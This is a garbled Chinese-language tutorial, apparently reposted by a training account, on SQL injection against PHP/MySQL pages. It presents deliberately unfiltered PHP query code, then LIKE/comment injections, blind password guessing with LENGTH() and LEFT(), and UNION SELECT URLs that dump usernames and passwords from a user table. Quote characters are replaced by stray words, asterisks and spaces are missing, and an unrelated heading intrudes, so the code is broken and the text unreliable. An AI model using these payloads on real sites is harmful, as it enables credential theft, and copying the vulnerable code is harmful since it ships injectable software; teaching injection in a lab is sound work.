一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也便是提交分外字符可以显示所有记录,包括

不符合条件的,实在这个危害也不算大,由于许可用户输入关键字进行模糊查询的地方大多数都

php构造方法注入若何书写PHP语句结构能力到达有用注入目标 Python

许可检索所有的记录。
很多查询的设计便是这样的。

查询是只读的操作该当不会对数据产生毁坏浸染,不要太担心。
不过透露隐私不知道算不算

危害,下面是一个标准的搜索引擎:

<formmethod=\"大众GET\公众action=\公众search.php\公众name=\公众search\"大众>

<inputname=\公众keywords\"大众type=\"大众text\公众value=\"大众\公众size=\公众15\公众><inputtype=\"大众submit\"大众

value=\公众Search\公众>

</form>

<b>Searchresult</b>

<?php

$servername=\"大众localhost\公众;

$dbusername=\公众root\"大众;

$dbpassword=\"大众\"大众;

$dbname=\"大众injection\"大众;

mysql_connect($servername,$dbusername,$dbpassword)ordie(\公众数据库连接失落败\"大众);

$keywords=$_GET['keywords'];

if(!empty($keywords)){

//$keywords=addslashes($keywords);

//$keywords=str_replace(\"大众_\公众,\公众_\"大众,$keywords);

//$keywords=str_replace(\"大众%\"大众,\"大众%\公众,$keywords);

$sql=\公众SELECTFROM\"大众.$db_prefix.\"大众articleWHEREtitleLIKE'%$keywords%'

$searchORDERBYtitleDESC\"大众;

$result=mysql_db_query($dbname,$sql);

$tatol=mysql_num_rows($result);

echo\"大众

SQLQuerysql

\公众;

if($tatol<=0){

echo\"大众The\公众<b>$keywords</b>\公众wasnotfoundinalltherecord.

n\公众;

}else{

while($article=mysql_fetch_array($result)){

echo\"大众<li>\"大众.htmlspecialchars($article[title]).\"大众

n\"大众;

}//while

}

}else{

echo\公众<b>leaseentersomekeywords.</b>

n\"大众;

}

?>

一样平常程序都是这样写的,如果缺少变量检讨,我们就可以改写变量,达到\"大众注入\公众的目的,

只管没有危害,当我们输入\"大众___\公众、\"大众.__\公众、\公众%\"大众等类似的关键字时,会把数据库中的所有

记录都取出来。
如果我们在表单提交:

%'ORDERBYarticleid/

%'ORDERBYarticleid#

__'ORDERBYarticleid/

__'ORDERBYarticleid#

SQL语句就被改变成下面的样子了,

SELECTFROMarticleWHEREtitleLIKE'%%'ORDERBYarticleid/%'ORDERBYtitle

DESC

SELECTFROMarticleWHEREtitleLIKE'%__'ORDERBYarticleid#%'ORDERBYtitle

DESC

就会列出所有记录,包括被隐蔽的,还可以改变排列顺序。
这个虽然危害不大,也算是注入

的一种办法了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,乃至更强大、更灵巧、更方便。
不知道为什么便是有人认为比ASP难?我们在ASP中常常利用的个别函数在PHP里要有小小的改动,如下:

①本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php

$servername=\公众localhost\"大众;

$dbusername=\"大众root\"大众;

$dbpassword=\"大众\"大众;

$dbname=\公众injection\公众;

mysql_connect($servername,$dbusername,$dbpassword)ordie(\公众数据库连接失落败\"大众);

$sql=\公众SELECTFROMuserWHEREusername='$username'\公众;

$result=mysql_db_query($dbname,$sql);

$row=mysql_fetch_array($result);

if(!$row){

echo\"大众该记录不存在\"大众;

echo\公众

SQLQuerysql

\公众;

exit;

}

echo\公众你要查询的用户ID是:$row[userid]n\公众;

echo\"大众

SQLQuerysql

\"大众;

?>

当我们提交的用户名为真时,就会正常返回用户的ID,如果为造孽参数就会提示相应的缺点,由于是查询用户资料,我们可以大胆预测密码就存在这个数据表里(现在我还没有遇见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的比较,就少了一个AND条件,如下:

SELECTFROMuserWHEREusername='$username'ANDpassword='$password'SELECTFROM

userWHEREusername='$username'

相同的便是当条件为真时,就会给出精确的提示信息,如果我们布局出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,

密码为mypass,

看了上面的例子,该当知道布局了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel'andpassword='mypass

这个是绝对为真的,由于我们这样提交上面的SQL语句变成了下面的样子:

SELECTFROMuserWHEREusername='angel'ANDpassword='mypass'

但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们

就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel'andLENGTH(password)='6

在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要利用LENGTH(),只要没有布局

缺点,也便是说SQL语句能正常实行,那返回结果无外乎两种,不是返回用户ID,便是返回\"大众该记

录不存在\公众。
当用户名为angel并且密码长度为6的时候返回真,就会返回干系记录,是不是和ASP

里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,1)='m

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,2)='my

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,3)='myp

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,4)='mypa

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,5)='mypas

http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,6)='mypass

看,密码不是出来了吗?大略吧?当然实际情形会有不少条件限定,下面还会讲到这个例子

的深入运用。

②跨表查询

这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难节制的便是字段的数

量,如果看过MYSQL参考手册,就知道了在SEL ECT 中的 select_expression

(select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。
第一个

SELECT 查询中利用的列名将作为结果集的列名返回。
大略的说,也便是UNION后面查选的字段数

量、字段类型都该当与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个

SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情形会更换掉在

第一个SELECT原来该当显示的字段, 该当先知道前面查询表的数据表的构造。
如果我们查询两

个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT FROM article WHERE articleid='$id' UNION SELECT FROM……

如果字段数量、字段类型任意一个不相同,就只能搞打消数据类型和字段数量,这样提交:

SELECT FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……

否则就会报错:

The used SELECT statements have a different number of columns

如果不知道数据类型和字段数量,可以用1来逐步试,由于1属于intstrvar类型,以是我们只

要逐步改变数量,一定可以猜到的。
如果不能立时理解上面的理论,后面有很详细的例子。

我们看看下面的数据构造,是一个大略的文章数据表。

CREATE TABLE `article` (

`articleid` int(11) NOT NULL auto_increment,

`title` varchar(100) NOT NULL default '',

`content` text NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `article`

#

INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教诲制度真是请文明用语

掉队!
如果我当教诲部长。
我要把所有老师都开除!
');

INSERT INTO `article` VALUES (2, '我恨去世你', '我恨去世你了,你是什么东西啊');

这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查

询的表的构造和这个一样。
就可以用\"大众SELECT \公众,如果有任何一个不一样,那我们只能用

\公众SELECT 1,1,1,1……\"大众了。

下面的文件是一个很标准、大略的显示文章的文件,很多站点都是这种页面没有过滤,以是

成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php

$servername = \公众localhost\"大众;

$dbusername = \"大众root\"大众;

$dbpassword = \公众\"大众;

$dbname = \"大众injection\"大众;

mysql_connect($servername,$dbusername,$dbpassword) or die (\"大众数据库连接失落败\"大众);

$sql = \"大众SELECT FROM article WHERE articleid='$id'\"大众;

$result = mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row)

{

echo \"大众该记录不存在\"大众;

echo \"大众SQL Querysql\"大众;

exit;

}

echo \"大众title\"大众.$row[title].\"大众n\公众;

echo \公众content\"大众.$row[content].\"大众n\公众;

echo \"大众SQL Querysql\公众;

?>

正常情形下,我们提交这样的一个要求:

http://127.0.0.1/injection/show.php?id=1

就会显示articleid为1的文章,但我们不须要文章,我们须要的是用户的敏感信息,就要查

询user表,现在是查询刚才我们建立的user表。

由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT FROM article WHERE articleid='$id' UNION SELECT FROM user ……

由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/

按道理说,该当显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?

实在,我们提交的articleid=1是article表里存在的,实行结果便是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/

http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from

user/

现在就在字段相对应的地方显示出我们所要的内容。
如果还不清楚思路以及详细的运用,后面还会讲到一些高等的技巧。

感激点评,点赞,提出见地,我们会努力去改进.

弈安传媒科技微教室,每天分享财经资讯,打算机技能知识,人生感悟,创业辅导以及各种专业技能知识资料学习互换.移动学习平台、知识分享平台。
随时随地的学习,如果你喜好发展,这里你不容错过的地方.弈安传媒科技培训关注:关注自己发展,分享内容,分享自己的技能,造诣未来.